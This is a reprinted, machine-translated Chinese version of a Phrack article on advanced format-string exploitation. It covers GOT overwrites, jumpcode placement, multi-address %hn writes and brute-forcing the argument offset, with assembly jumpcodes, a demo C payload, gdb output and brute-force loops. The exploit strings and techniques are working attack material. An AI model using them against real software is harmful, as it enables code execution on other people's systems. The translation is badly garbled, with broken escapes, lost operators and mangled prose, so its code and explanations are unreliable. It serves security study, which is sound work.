[Principle] Advanced Format String Exploit Technology P59-0X07 (on)

xiaoxiao2021-03-06  52

Advanced Format String Exploit Technology P59-0X07 (on)

Create time: 2002-08-17

Article properties: reprint

Article submission:

Xundi (xundi_at_xfocus.org)

Advanced Format String Exploit Technology P59-0X07 (on)

Original: << Advances in Format String Exploiting >>

By Gera , riq

Translation finishing by

Alert7

Home:

http://www.xfocus.org/ http://www.whitecell.org/

Yikaikai

Part 1: Violent crack formatted strings

Part II: Using the Heap String (in SPARC)

| = --------------- = [Part: Violent crack formatted string] = --------------- = |

| = ---------------------- = [Gera ] = -------------- ------- = |

1 Introduction

2 - 32 * 32 == 32 - Using Jump Codes (JumpCodes)

2.1 - Write code in any known place

2.2 - Code of other places

2.3 - No address available

3 - n times accelerated

3.1 - Multiple address coverage

3.2 - Multi-parameter violence crack

4 - More Greets and Thanks

5 - References

Preface:

This article is originally written by the Whitecell Forum (

Http://www.whitecell.org/forums/) yikaikai translated, unfortunately now

He didn't have time, just transferred to me. But still want to thank yikaikai's hard translation.

This article is how to violently crack the article of Format Sting. What is discussed in this article is used in Syslog Format String

BUG, it is not possible to obtain feedback information using Format String bug. Feedback can be obtained using Format String bug

In the case of information, we can learn the information obtained. This makes our Exploit more intelligence. Please refer to PAPPY@miscmag.com

Written, I translated << How to write remote exploit >>.

This article is just some IDEA, and the specific implementation is written by yourself. The translation is a bit rush, and the wrong place has an ax.

--[ 1 Introduction

Maybe you are looking for articles about Format strings Exploit. You can first look at the scut written very exciting

Format strings articles.

This article is about two tips for speeding violent cracking Format Stings when using Exploit.

"... violent cracking is of course not a happy thing, many of Exploit's authors hate something, people think about

Use other methods to replace violent cracks "

Thanks to all insessings in this regard, especially {Maxx, Dvorak, Scrippie}, scut [], lg (zip), and Lorian K.

- [2. 32 * 32 == 32 - Use jump code

A bug of a Format strings can be written to anywhere. The author calls it as Write-Anything-Anywhere

Permission. When you have Write-Anysthing-Anywhere permissions, some methods are described, such as using Format StringBug to rewrite the strcpy () function of the destination pointer, the parameter variable of the free () function and the overflow Ret2Memcpy buffer (pouring this specific) What?), Etc.

Scut [1], Shock [2], and some other people explained several ways to own Write-Anything-Anywhere privileges

The implementation process of the hook program is coming. For example, modify the GOT, modify the function pointer, modify the ATEXIT structure, the class's virtual function pointer, and the like. A

When you want to do this, you must know or predict two different addresses: function pointer addresses and the address of the shellcode. If you

If you want to blind violence, you need to guess 64. In fact, there are so many, the GOT address always starts at 0x0804 address, you

The code always begins with 0x0805 ... It is true for Linux, so it is not 64 bits, but 32 bits. So you only need to guess

4,294,967,296 times ... You may think of a 4K NOPS, this, you can jump 4k each time, this is reduced to

1,048,576 times. There is also a GOT array for each element size of 4 bytes, and there is 262,144 ... Oh, even the smallest one.

262, 144 are too big to talk remotely (it is possible to say to the local).

Sometimes we can use some other technologies. If we have read permissions, we can learn something on the target process.

Or turn your write permissions into read permissions, or use a large number of NOPS instructions, or use target stack, or just hard coded address values.

Wait, please use you.

You can also do more things, because you are not restricted to write 4 bytes, you can write your shellcode to any

The address is going.

In fact, people who are familiar with Format strings bug will think of this --- written shellcode to any address.

(If there is a class test code

For (;;)

Printf (BUF);

)

About this I also wrote a kind of protection for << to bypass Libsafe - override _dl_lookup_versioned_symbol Technology >>

Among them, a new technology - coverage _dl_lookup_versioned_symbol technology. Since then, the control is controlled by the control.

There are many ways in terms of aspects.

Summarize the next few ways:

Coverage GOT

2. Using DTORS

3. Using C Library Hooks

4. Use the ATEXIT structure (static compiling version)

5. Cover function pointer

6. Cover JMPBUF'S

7. Cover DL_LOOKUP_VERSIONED_SYMBOL

In fact, covering DL_LOOKUP_VERSIONED_SYMBOL is also overwriting GOT technology, just LD got

---- [2.1 Write code in any known place

As long as the format string bug is existed, you can write anything to the memory of memory, so you can choose

Known writable addresses. For example, 0x8051234, we can write the code in this place, then modify the function pointer (Got, Atexit)

Structure, etc.) Let them point to it:

Got [Read]: 0x8051234; of Course Using Read is Just

an esample

0x8051234: shellcode

Now, the address of shellcode is our designated, always 0x8051234, so you only need to crack the modification

Function pointer address, you will crack these 15 bits in the worst case. This amount is also very big.

You can write a 200-byte shellcode when you use the format string to use this technology (can you?), Maybe you can only write a 30-byte shellcode, or you can only write a few bytes .. So, we need one

Jump code (Jumpcode).

---- [2.2 Code of other places

I believe you can place some code in any address memory of the target process. If this is the case, we need it.

A jump code (JMPCode) to locate shellcode and jump there. Do this is relatively simple, just a small technology.

If shellcode is somewhere in the stack, if you do the jump code, you probably know shellcode

How far is SP, you can jump to the SP 8 or 5 bytes:

Got [read]: 0x8051234

0x8051234: Add $ 0x200,% ESP; Delta from sp to code

JMP *% ESP; JUST USE ESP IF you can

ESP 0x200: Nops ...; Just In Case Delta IS

Not real constant

Real shellcode; this is not writen using

The format string

So, if the shellcode code is in the heap (HEAP)? Do you have any good ideas? The following ideas come from Kato

(This version is 18 Bytes, Kato's version is longer, he did not use Format String):

Got [read]: 0x8051234

0x8051234: CLD

MOV $ 0X4F54414A,% EAX; SO IT Doesn Find

INC% EAX; Itself (TX Juliano)

MOV $ 0x804FFF0,% EDI; Is IT Low ENOUGH?

Make It Lower

Repne scaSL

JCXZ.-2; Keep Searching!

JMP * $ EDI; UPPER CASE Letters

Are Ok opcodes.

Somewhere

In Heap: Kato; if you know the alignment

Kkato; One Is Enough, Otherwise

Kkato; Make Some Be Found

Kkato

Real shellcode

If you are in Stack, you don't know where it is exactly? (10bytes)

Got [read]: 0x8051234

0x8051234: MOV $ 0X4F54414A,% EBX; SO IT Doesn Find

INC% EBX; Itself (TX Juliano)

POP% EAX // Put the READ parameter POP

CMP% EBX,% EAX

JNZ.-2

JMP * $ ESP

Somewhere

In Stack: Kato; You'll Know the alignment

Real shellcode

Are there other places? OK, you can construct your JMPCode code yourself :-) But be careful, 'kato' may not be a

Very well-constructed string because it may bring some side effects. :-)

- | Friendly function | - When you modify GOT, let him point to your function, then you can do some hands and feet. For example, if you change the function pointer,

The parameters of the free () function point to the buffer of Shellcode, we only need to do this: (2 bytes)

Got [free]: 0x8051234; using free this time

0x8051234: POP% EAX; Discarding Real RET Addr

Ret; jump to free's argument

There are also other functions in the same way ... Different, you may need some jump code with a slightly complex point:

(7 or 10 bytes)

Got [syslog]: 0x8051234; using syslog

0x8051234: POP% EAX; Discarding Real RET Addr

POP% EAX

Add $ 0x50,% Eax; Skip Some Non-Code Bytes

JMP * $ EAX

If there is no other method, you can distinguish Crash and hang (Hung), you can use an infinite loop to make

Target HUNG: You can violently crack the address of the GOT until the server hangs, then you know the correct position of the GOT,

Then you can stroke the address of the shellcode.

Got [exit]: 0x8051234

0x8051234: jmp.; Infinite loop

---- [2.3 No available addresses

The author doesn't like to use any address, such as 0x8051234, he uses a slightly different way

Got [Free]: & got [free] 4; Point it to the next 4 bytes

Jumpcode; address is got [free] 4

You don't know the address of GOT [EXIT], but we assume that we already know, then point it to 4 bytes.

Place JumpCode. For example, assume got [exit] in 0x80490994, then your jump code is 0x8049098,

Then you have to write the value 0x8049098 to address 0x8049094. In this case, it will jump when you run exit ().

0x8049098 Execution:

/ * fstring.c *

* Demo Program to Show Format Strings Techinques *

* specially crafted to feed your brey by gera@corest.com * /

Int main () {

Char BUF [1000];

STRCPY (BUF,

"/ x88 / x96 / x04 / x08" // got [free] 's address, this is the address on my machine

"/ x8a / x96 / x04 / x08" //

"/ x8c / x96 / x04 / x08" // jumpcode address (2 byte for the demo)

"% .38528u" // Complete to 0x968c (0x968c-3 * 4)

"% 4 $ hn" // Write 0x968a to 0x8049688 "%. 29048U" // Complete to 0x10804 (0x10804-0x968c)

"% 5 $ hn" // Write 0x0804 to 0x804968a

"% .47956u" // Complete to 0x1c358 (0x1c358-0x10804)

"% 6 $ hn" // Write 0xc35b (pop - reet) to 0x804968c

);

Printf (BUF);

Free (buf); // alert7 add

}

[alert7 @ redhat73 alert7] $ gcc -o fstring fstring.c

[alert7 @ redhat73 alert7] $ gdb fstring -q

(GDB) Br main

Breakpoint 1 at 0x8048479

(GDB) R

Starting Program: / Home / Alert7 / Fstring

Breakpoint 1, 0x08048479 in main ()

(GDB) disass main

Dump of assembler code for function main:

0x8048470

: push% EBP

0x8048471

: MOV% ESP,% EBP

0x8048473

: SUB $ 0x3f8,% ESP

0x8048479

: SUB $ 0x8,% ESP

0x804847c

: push $ 0x8048540

0x8048481

: LEA 0xffffffc08 (% EBP),% EAX

0x8048487

: push% EAX

0x8048488

: Call 0x8048358

0x804848D

: add $ 0x10,% ESP

0x8048490

: SUB $ 0xc,% ESP

0x8048493

: Lea 0xffffffc08 (% EBP),% EAX

0x8048499

: push% EAX

0x804849a

: Call 0x8048338

0x804849f

: Add $ 0x10,% ESP

0x80484a2

: SUB $ 0xc,% ESP

0x80484a5

: Lea 0xffffffc08 (% EBP),% EAX

0x80484ab

: push% EAX

0x80484ac

: Call 0x8048348

0x80484B1

: add $ 0x10,% ESP

(GDB) B * 0x80484acbreakpoint 2 AT 0x80484ac

(GDB) C

...

00000000000000000000000000000000000000000000000000000000000000

00000000000000000000000000000000000000000000000000000000000000

Breakpoint 2, 0x080484ac in main ()

(GDB) x / x 0x8049688

0x8049688 <_global_offset_table_ 28>: 0x0804968c

(GDB) x / 2i 0x0804968c

0x804968c <_global_offset_table_ 32>: POP% EAX

0x804968d <_global_offset_table_ 33>: RET

(GDB) C

Continuing.

Program received Signal SigSegv, Segmentation Fault.

0xBfffff720 in ?? ()

OK, already jumped to the buf execution.

At first, the author did not add free (BUF), and the free function was not used in the program, and the Free function did not appear in the GOT.

In the example, the got [free] address is 0x8049688, we use format string bug to put GOT [free]

The value is changed to 0x0804968c. When free () is called, it will be turned to 0x0804968c to execute.

The last method has another benefit, but it can not only use the Format string --- each time you write different addresses,

Moreover, it can be used when there is write-anything-anywhere privilege. Just like the destination pointer to the strcpy () function

The same or a buffer overflow of Ret2memcpy. If you are smart enough, you use this technology to

Single Free () bug (free (BUF), BUF's Chunk can also control it.

- [3. n times accelerated

---- [3.1 - Multiple Address Covering

If you can write more bytes, you can not only put shellcode or jumpcode to you want to put

The place, and you can change multiple pointers at the same time, and speed up the crack speed again.

Of course, this also needs Write-Anything-Anywhere permissions, which allows us to write more than 4bytes. Below

Use the simple way of format strings to write the same value to all pointers.

Suppose we use the format string below 0x12345678:

"/ x94 / x90 / x04 / x08" // The address to write the first 2 bytes

"Aaaa" // Space for 2nd% .u

"/ x96 / x90 / x04 / x08" // the address for the next 2 bytes

"% 08X% 08X% 08X% 08X% 08X% 08X" // POP 6 arguments

"% .22076u" // Complete to 0x5678 (0x5678-4-4-4-6 * 8)

"% hn" // Write 0x5678 to 0x8049094

"% .48060u" // Complete to 0x11234 (0x11234-0x5678)

"% hn" // Write 0x1234 to 0x8049096

Because% hn does not add characters to Output String, we can use the same value without using padding.

Write a few different places. For example, write the value 0x12345678 in the address 0x8049094 as the Format String below.

Five consecutive addresses:

"/ x94 / x90 / x04 / x08" // addresses where to write 0x5678

"/ x98 / x90 / x04 / x08" //

"/ x9c / x90 / x04 / x08" //

"/ xa0 / x90 / x04 / x08" //

"/ xa4 / x90 / x04 / x08" //

"Aaaa" // Space for 2nd% .u

"/ x96 / x90 / x04 / x08" // addresses for 0x1234

"/ x9a / x90 / x04 / x08" //

"/ x9e / x90 / x04 / x08" //

"/ xa2 / x90 / x04 / x08" //

"/ xa6 / x90 / x04 / x08" //

"% 08X% 08X% 08X% 08X% 08X% 08X" // POP 6 arguments

"% .22044u" // complete to 0x5678: 0x5678- (5 1 5) * 4-6 * 8

"% hn" // Write 0x5678 to 0x8049094

"% hn" // Write 0x5678 to 0x8049098

"% hn" // Write 0x5678 to 0x804909c

"% hn" // Write 0x5678 to 0x80490a0

"% hn" // Write 0x5678 to 0x80490a4

"% .48060u" // Complete to 0x11234 (0x11234-0x5678)

"% hn" // Write 0x1234 to 0x8049096

"% hn" // Write 0x1234 to 0x804909A

"% hn" // Write 0x1234 to 0x804909e

"% hn" // Write 0x1234 to 0x80490a2

"% hn" // Write 0x1234 to 0x80490A6

Or is equivalent to using $

"/ x94 / x90 / x04 / x08" // addresses where to write 0x5678

"/ x98 / x90 / x04 / x08" //

"/ x9c / x90 / x04 / x08" // "/ xa0 / x90 / x04 / x08" //

"/ xa4 / x90 / x04 / x08" //

"/ x96 / x90 / x04 / x08" // addresses for 0x1234

"/ x9a / x90 / x04 / x08" //

"/ x9e / x90 / x04 / x08" //

"/ xa2 / x90 / x04 / x08" //

"/ xa6 / x90 / x04 / x08" //

"% .22096u" // Complete to 0x5678 (0x5678-5 * 4-5 * 4)

"% 8 $ hn" // Write 0x5678 to 0x8049094

"% 9 $ hn" // Write 0x5678 to 0x8049098

"% 10 $ hn" // Write 0x5678 to 0x804909c

"% 11 $ hn" // Write 0x5678 to 0x80490a0

"% 12 $ hn" // Write 0x5678 to 0x80490a4

"% .48060u" // Complete to 0x11234 (0x11234-0x5678)

"% 13 $ hn" // Write 0x1234 to 0x8049096

"% 14 $ hn" // Write 0x1234 to 0x804909A

"% 15 $ hn" // Write 0x1234 to 0x804909e

"% 16 $ hn" // Write 0x1234 to 0x80490a2

"% 17 $ hn" // Write 0x1234 to 0x80490a6

In this example, five "function pointers" have been rewritten once, and of course more. The real limit is how long you can provide a string.

If you don't directly use the parameters (that is, if you don't use $ hn case), you have to consider how many parameters do you need to determine POP in order to get the address to be written.

Generally use parameter access is limited (Solaris's library is 30, some Linuxes are 400, perhaps other values).

If you want to combine Jumpcode and multi-address overlay technology, you must remember the jump code (jumpcode) is not

4 BYTES behind the function pointer, but farther, this is done in how much addresses you want to overwrite.

---- [3.2 - Multi-parameter violent crack

Sometimes you don't know how many parameters needed to POP, or when you use $ hn, you don't know how many parameters need to be jumped directly, so you need to try it until you

Get the correct value. Sometimes we don't have a better way, especially when the Format String bug is unfashionable.

But in any case, you may encounter the case where you don't know how many parameters to be POP, we can use the following example to find it.

POPS = 8

Worked = 0

While (not worked):

FString = "/ x94 / x90 / x04 / x08" # got [free] 's addressfstring = "/ x96 / x90 / x04 / x08" #

FString = "/ x98 / x90 / x04 / x08" # jumpcode address

FString = "% .37004u" # Complete to 0x9098

FString = "%%% D $ hn"% POPS # Write 0x9098 to 0x8049094

FString = "% .30572u" # COMPLETE TO 0x10804

FString = "%%% D $ hn"% (POPS 1) # Write 0x0804 to 0x8049096

FString = "% .47956u" # Complete to 0x1c358

FString = "%%% D $ hn"% (POPS 2) # write (pop - reet) to 0x8049098

Worked = try_with (fstring)

POPS = 1

In this example, we use the increment variable 'pops' method to find the appropriate value (use direct parameter access). If we repeat multiple times

With the target address, we can grow POPS variables faster. For example, we can repeat each address 5 times, so we can

Accelerate the speed of violent crack.

POPS = 8

Worked = 0

While (not worked):

FString = "/ x94 / x90 / x04 / x08" * 5 # got [free] 's address

FString = "/ x96 / x90 / x04 / x08" * 5 # repeat eddress 5 Times

FString = "/ x98 / x90 / x04 / x08" * 5 # jumpcode address

FString = "% .37004u" # Complete to 0x9098

FString = "%%% D $ hn"% POPS # Write 0x9098 to 0x8049094

FString = "% .30572u" # COMPLETE TO 0x10804

FString = "%%% D $ hn"% (POPS 6) # Write 0x0804 to 0x8049096

FString = "% .47956u" # Complete to 0x1c358

FString = "%%% D $ HN"% (POPS 11) # write (pop - return) to 0x8049098

Worked = try_with (fstring)

POPS = 5

Found any random copy of 5 in 5, the more copy speeds, the faster

This is a simple idea, just override the address. If you have any questions, you can use the pen and paper painting, first-draw a Stack with format string, then put some random parameters in the top of the stack, then manually start violent crack ...

This looks stupid but maybe there will be a heaven, you will never know. Of course, not directly parameter access

It can also be done. But it is more complicated because you have to recalculate% .u each time you have to recalculate the length.

- [Unnamed and not listed

Through this article, my point is: Format string can be achieved with 4-bytes-write-anything-annriwhere

There are many permissions, it is to write any bytes to any address (that is, there is a fulw write-anything-annithing-anywhre authority),

This will give us more possibilities.

Ok, the article will be written here, and the rest is done by you.

- [4. More Greets and Thanks

RIQ, For Trying Every Stupid IDEA I Have and MAKING IT REAL!

Juliano, for being ou format strings.

Impact, for For for Forcing Me To Spend Time Thinking About All Theese Amazing

Things.

- [5. References

[1] Exploiting Format String VulneRability, Scut.

March 2001.

http://www.team-teso.net/articles/fectstring

[2] W00W00 On Heap overflows, Matt Conover (Shok) and W00W00 Security Team.

January 1999.

http://www.w00w00.org/articles.html

[3] Juliano's Badc0ded

http://community.corest.com/~juliano

[4] Google The Oracle.

http://www.google.com

转载请注明原文地址:https://www.9cbs.com/read-40817.html

New Post(0)